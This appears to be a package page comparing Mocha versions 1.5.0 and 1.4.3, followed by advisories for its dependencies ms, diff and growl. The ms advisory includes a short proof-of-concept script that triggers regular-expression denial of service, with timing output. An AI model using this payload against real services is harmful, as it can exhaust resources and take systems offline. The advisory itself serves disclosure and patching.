Mocha is a versatile and developer-friendly JavaScript test framework, perfect for Node.js and browser-based applications. Comparing versions 1.5.0 and 1.4.3, the core functionalities remain largely consistent, focusing on providing a simple yet flexible environment for writing and executing tests. Both versions share identical dependencies, including essential tools like ms for time conversions, diff for comparing values, jade for templating, debug for logging, growl for notifications, mkdirp for directory creation, and commander for command-line interface creation. Similarly, development dependencies such as should for assertions and coffee-script for CoffeeScript support are present in both.
The key difference between the two versions lies in their release dates. Version 1.5.0 followed shortly after 1.4.3, separated by approximately an hour. This suggests that version 1.5.0 likely contains minor bug fixes, performance improvements, or very subtle feature enhancements rather than major overhauls since the core dependencies and development dependencies didn't change. For developers, upgrading from 1.4.3 to 1.5.0 should be a seamless process, offering improved stability and potentially a smoother testing experience. Check the changelog or release notes for the exact changes. While the differences might be incremental, staying up-to-date with the latest stable version ensures you're leveraging the most refined and reliable codebase for your testing needs.
All the vulnerabilities related to the version 1.5.0 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.